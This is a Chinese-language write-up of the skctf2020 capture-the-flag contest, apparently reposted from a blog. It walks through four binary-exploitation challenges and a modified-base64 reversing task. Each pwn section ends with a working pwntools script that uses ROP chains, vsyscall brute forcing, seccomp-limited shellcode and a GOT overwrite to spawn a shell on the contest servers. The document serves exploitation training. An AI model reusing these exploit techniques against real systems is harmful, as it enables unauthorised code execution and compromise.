skctf2020wp

Pwn

0x0 boring_canary

【保护】:在这里插入图片描述

【分析】:

主要代码如下:

skctf2020wp_第1张图片

  • 存在数组越界漏洞,可以通过v4避免覆写canary,然后就是常规的rop chaingetshell。然而主要问题是如何让scanf返回 -1,才能让程序执行我们的rop chain。我开始尝试输入负数,想通过修改V4的值来发生一些异常。当我输入 -3时,向 &v5[-24] 随意写入数据后程序果然异常了。为了一探究竟,开始进行调试。

  • 我将断点打在 0x400761,输入 -3 然后向其写入任意数据,程序断下后选择跟进

skctf2020wp_第2张图片

  • 注意红框位置的变化
    skctf2020wp_第3张图片

  • read函数返回的地址竟然被输入的数据给覆盖了,难怪会发生异常。所以这里可以用来跳出循环。

  • 后面就是构造rop chain利用puts来泄露基址,劫持程序执行onegadget

【EXP】:

#!/usr/bin/env python
# coding=utf-8
from pwn import*

#context.log_level=1
#p=process('./boring_canary')
p=remote('ctf.sksec.club',28092)
elf=ELF('./boring_canary',checksec=False)
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
libc=ELF('./libc.so',checksec=False)

pop_rdi=0x0000000000400813
pop_rsi=0x0000000000400811

def say(d,s):
    p.send(d)
    p.send(s)

p.recvuntil('canary\n')
say(str(131)+'\n','\x13\x08\x40'.ljust(8,'\x00')+'\n')#pop_rdi
say(str(132)+'\n','\xc8\x0f\x60'.ljust(8,'\0')+'\n')#puts_got
say(str(133)+'\n','\x8c\x05\x40'.ljust(8,'\0')+'\n')#puts_plt
say(str(134)+'\n','\xc7\x06\x40'.ljust(8,'\0')+'\n')#main
say(str(-3)+'\n','\x9f\x07\x40'.ljust(8,'\0')+'\n')

libc_base=u64(p.recv(6).ljust(8,'\0'))-libc.sym['puts']
one_addr=0x10a38c+libc_base
success('libc_base:'+hex(libc_base))

p.recvuntil('canary\n')
say(str(131)+'\n',p64(one_addr)+'\n')#pop_rdi
say(str(-3)+'\n','\x9f\x07\x40'.ljust(8,'\0')+'\n')

p.interactive()


0x1 Similar to syscall

【保护】:在这里插入图片描述

【分析】:

程序主要代码如下:
skctf2020wp_第4张图片

  • 另有一处后门

skctf2020wp_第5张图片

  • 这道题目的利用手法其实和hack game2019impossible一模一样的,详见我的另篇博文

    https://blog.csdn.net/qq_41252520/article/details/102765351

  • 这里就不再分析了。

【EXP】:

#!/usr/bin/env python
# coding=utf-8
from pwn import*

while True:
    try:
        p=remote('39.105.216.123',9999)
        pay='a'*0x28+p64(0xffffffffff600000)*24+p16(0x7A0)
        p.send(pay)
        p.interactive()
    except EOFError:
        p.close()

0x2 WhiteGivePwn

【保护】:skctf2020wp_第6张图片

【分析】:

主要代码如下:

skctf2020wp_第7张图片

  • 注意这里建立了一个白名单,只允许系统调用号为0,1,2,60运行。
    skctf2020wp_第8张图片

  • 主要漏洞就是栈溢出,且只能溢出0x18个字节,所以考虑栈迁移。

  • 然而尝试了通用的leave栈迁移发现函数返回到了错误的地址,原因是进行了ret;leave ret

  • 程序中还有一个ROPgadgetjmp rsp,考虑采用jmp rsp来进行栈迁移。

  • 方法是首先保证shellcode的长度在0x28之内,如果超出会为后面的布置带来麻烦,但也不是不行。

  • 然后整个栈的布置如图所示:

skctf2020wp_第9张图片

  • sub rsp,0x30是根据buf_len+rbp_len=0x30得出的。
  • 接下来就是shellcode的设计,只能利用open,read,write的组合来获取flag
  • 为了保证长度,能省则省,最终的汇编代码:
    push 'flag'
    lea rdi,[rsp]
    xor rsi,rsi
    mov al,2
    syscall
    mov rdi,rax
    lea rsi,[rsp-0x80]
    mov al,0
    syscall
    mov rdi,1
    mov al,1
    syscall
  • 注意其中的lea rsi,[rsp-0x80]不能写成lea rsi,[rsp]或者减去的数值太小,否则后面读取到的flag可能会覆盖shellcode

【EXP】:

#!/usr/bin/env python
# coding=utf-8
from pwn import*

context.arch='amd64'
context.os='linux'
#p=process('./whiteGivePwn')
p=remote('ctf.sksec.club',28008)
elf=ELF('./whiteGivePwn',checksec=False)

shellcode="\x68\x66\x6c\x61\x67\x48\x8d\x3c\x24\x48\x31\xf6\xb0\x02\x0f\x05\x48\x89\xc7\x48\x8d\x74\x24\x80\xb0\x00\x0f\x05\xbf\x01\x00\x00\x00\xb0\x01\x0f\x05"
shellcode=shellcode.ljust(0x28,'\x90')
jmp_rsp=asm('sub rsp,0x30;jmp rsp').ljust(8,'\x90')

pay=shellcode+p64(0x40098f)+jmp_rsp

p.sendafter('useful~',pay)

p.interactive()

0x3 mrrvm

【保护】:在这里插入图片描述

【分析】:

skctf2020wp_第10张图片

  • 选项1:输入opcode,选项2:执行opcode。
    skctf2020wp_第11张图片

  • 这是虚拟机的处理函数,不妨按他的指令重命名一下函数。先从func_1进行分析。

skctf2020wp_第12张图片

skctf2020wp_第13张图片

  • 为了更好的描述,现归纳如下:
opcode call description
1xy func_1 y<=0xc7
*s(x=101)=*s(y=101) 或 *s(x=101)=*byte_6030C0(y=102)
*byte_6030C0(x=102)=*s(y=101) 或 *byte_6030C0(x=102)=*byte_6030C0(x=102)
否则
*s(x=101)=*y-200 或 *byte_6030C0(x=102)=*y-200
2xy func_2 y<=0xc7
*s(x=101)^=*s(y=101) 或 *s(x=101)^=*byte_6030C0(y=102)
*byte_6030C0(x=102)^=*s(y=101) 或 *byte_6030C0(x=102)^=*byte_6030C0(x=102)
否则
*s(x=101)^=*y-200 或 *byte_6030C0(x=102)^=*y-200
3xy func_3 *s(x=101)+=*s(y=101) 或 *s(x=101)+=*byte_6030C0(y=102)
*byte_6030C0(x=102)+=*s(y=101) 或 *byte_6030C0(x=102)+=*byte_6030C0(x=102)
4xy func_4 *s(x=101)-=*s(y=101) 或 *s(x=101)-=*byte_6030C0(y=102)
*byte_6030C0(x=102)-=*s(y=101) 或 *byte_6030C0(x=102)-=*byte_6030C0(x=102)
5x func_5 s(x=101)++ 或者 byte_6030C0(x=102)++
6x func_6 s(x=101)-- 或者 byte_6030C0(x=102)–
7 func_7 puts(s) puts(byte_6030C0) puts(index)
8x func_8 *s(x=101)=qword_6020C0[(*index)–] 或
*byte_6030C0(x=102)=qword_6020C0[(*index)–]
9x func_9 qword_6020C0[++(*index)]=*s(x=101) 或
qword_6020C0[++(*index)]=*byte_6030C0(x=102)
  • 解释一下表中的x,y均代表指令后面跟着的参数, () 里边表示的是条件成立。
  • 利用的思路就是,可以看到index可控,所以qword_6020C0,s这两个全局变量是可以跨越各个分段的。
  • 首先利用若干次func_8让s跨越到atoi_got,然后利用一次func_7将其泄露出来,计算出system
  • 因为原程序有alarm,所以需要选择更快的方法让s的值编程system,所以可以考虑func_1或者func_2
  • 再用func_9system覆写atoi_got getshell

【EXP】:

#!/usr/bin/env python
# coding=utf-8
from pwn import*

#context.log_level=1
#p=process('./mrrvm')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
p=remote('ctf.sksec.club',28061)
libc=ELF('libc6.so')

def Say(c,s):
    p.sendlineafter('choice:\n',str(c))
    if c==1:
        p.sendline(s)

pay=(p64(8)+p64(101))*16+p64(7)+p64(255)
Say(1,pay)
Say(2,'')
leak=u64(p.recv(6).ljust(8,'\x00'))
libc_base=leak-libc.sym['atoi']
system=libc_base+libc.sym['system']
success('leak:'+hex(leak))
success('libc_base:'+hex(libc_base))
success('system:'+hex(system))
info('offset:'+hex((system^leak)+200))

pay=p64(2)+p64(101)+p64((system^leak)+200)+p64(255)
Say(1,pay)
Say(2,'')

pay=p64(9)+p64(101)+p64(255)
Say(1,pay)
Say(2,'')

p.send('/bin/sh')

p.interactive()

Re

0x0 WhiteGiveRe

【分析】:

魔改的base64,这种题目见多了,一眼就看出来。

魔改的是字母表:

abcTUVdefghijkABOPQRSWXYZlmnCDLMNotuvwxyz012pqrs345EFGHIJK6789+/

skctf2020wp_第14张图片

总结

  • 这次的pwn质量不错,我自己也给自己挖了坑。二进制题目做起来耗时是相当大的,好在我能够调整好心态,沉浸其中。以往的比赛我只顾着排名,刻意去回避难题,结果得到的锻炼很少。这次下定决心只做难题(前提是这个比赛排名无所谓),学到了很多。

你可能感兴趣的:(总结,skctf2020)